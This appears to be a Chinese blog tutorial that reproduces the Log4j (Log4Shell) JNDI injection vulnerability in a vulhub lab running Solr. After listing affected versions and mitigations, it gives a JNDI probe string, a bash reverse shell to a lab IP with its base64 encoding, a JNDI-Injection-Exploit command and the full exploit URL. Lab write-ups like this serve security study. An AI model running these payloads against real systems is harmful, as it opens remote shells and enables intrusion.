apache log4j漏洞复现

log4j是开源的java存储日志的框架,一般都是大企业用,小企业自带的日志功能足够使用,Log4j2是默认支持解析ldap/rmi协议的,打印的日志中包括ldap/rmi协议都行。

具体介绍参考以下文章:

log4j2---基于vulhub的log4j2漏洞复现---反弹shell_繁华宛若浮云 - 致知学习-PC万里

log4j日志框架的使用_log4j是apache的一个开源日志框架,通过log4j我们可以将程序中的日志信息输出到控_浪里小白狼(鹤)的博客-CSDN博客

影响版本:apache log4j 2.2.0-2.14.1版本

防御:

1、升级到2.17.0版本以上

2、阻止使用JNDI来加载远程资源。适用于无法立即升级到修复版本在Log4j配置中禁用使用JNDI来加载远程资源来减少风险。

3、在log4j2.xml文件中添加安全策略配置,启用安全策略来限制代码执行

4、清除受影响系统的缓存。通过清除 Log4j 的上下文选择器缓存来实现确保新的配置生效

log4j远程代码执行漏洞

搭建一个vulnhub靶场,靶场相关内容详见:

Vulhub - Docker-Compose file for vulnerability environmentVulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。https://vulhub.org/#/environments/Vulhub - Docker-Compose file for vulnerability environmentVulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。https://vulhub.org/

复制代码
git clone https://github.com/vulhub/vulhub.git

找到log4j下面的漏洞目录输入

复制代码
docker-compose up -d

如果docker-compose提示未找到命令需要安装一下,

参考文章:docker-compose安装-CSDN博客 或者Docker高级篇(DockerCompose详解)-云原生核心 - 知乎

可以看到漏洞已经启动

环境搭建好了:是IP:端口,本次使用的IP是134,端口8983,所以连接

jndi注入

JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念

漏洞探测

构造一个语句**${jndi:ldap://fe4f4071e4.ipv6.1433.eu.org./exp}在上面搭建的网站上面输入,如果有回显说明存在log4j漏洞。**

fe4f4071e4.ipv6.1433.eu.org.是用dig.pm构造的地址,

构造反弹shell

创建一个可交互的bash和一个到192.168.246.130:2333的TCP链接,然后将bash的输入输出错误都重定向到在192.168.246.130:2333监听的进程。

bash -i >& /dev/tcp/192.168.246.130/2333 0>&1 用base64加密

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzAvMjMzMyAwPiYx

其中130是接收的IP,2333是监听端口

用JNDI-Injection-Exploit工具

可以参考文章:Log4Shell漏洞学习 - 知乎

使用方法:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A " IP

命令是要对受害机执行的内容,比如本次是反弹命令,

IP是收集者的IP,

获取 jndi 工具开启ldap和rmi监听服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni4xMzAvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.246.130

工具安装参考:JNDI-Injection-Exploit工具安装-CSDN博客

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。简单从安全角度来看待JNDI就是Java中的一组接口,在其所支持的服务中最常用的就是RMI和LDAP服务。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

通过这两种协议可以使目标服务器加载远程Class文件,攻击者通过构造Class文件来达到RCE的效果

用得到的连接构造url语句

${jndi:rmi://192.168.246.130:1099/jkgiaz}

[http://192.168.246.134:8983/solr/admin/cores?action=${jndi:rmi://192.168.246.130:1099/jkgiaz}](http://192.168.246.134:8983/solr/admin/cores?action=${jndi:rmi://192.168.246.130:1099/jkgiaz} "http://192.168.246.134:8983/solr/admin/cores?action=${jndi:rmi://192.168.246.130:1099/jkgiaz}")

kali监听反弹shell

相关推荐
bagadesu15 小时前
使用Docker构建Node.js应用的详细指南
java·后端
没有bug.的程序员15 小时前
Spring Cloud Gateway 性能优化与限流设计
java·spring boot·spring·nacos·性能优化·gateway·springcloud
洛_尘16 小时前
JAVA EE初阶 2: 多线程-初阶
java·开发语言
Slow菜鸟16 小时前
Java 开发环境安装指南(五) | Git 安装
java·git
云边云科技53417 小时前
云边云科技SD-WAN解决方案 — 构建安全、高效、智能的云网基石
网络·科技·安全·架构·it·sdwan
414a17 小时前
LingJing(灵境)桌面级靶场平台新增靶机:加密攻防新挑战:encrypt-labs靶场,全面提升安全研究者的实战能力!
安全·渗透测试·lingjing·lingjing(灵境)·网络安全靶场平台
lkbhua莱克瓦2417 小时前
Java基础——方法
java·开发语言·笔记·github·学习方法
阿乐艾官17 小时前
【十一、Linux管理网络安全】
linux·运维·web安全
上海云盾-高防顾问17 小时前
智能汽车的“软肋”:车载系统漏洞分析与安全防护框架初探?
安全·车载系统·汽车
llxxyy卢17 小时前
upload-labs(1-13)(配合源码分析)
web安全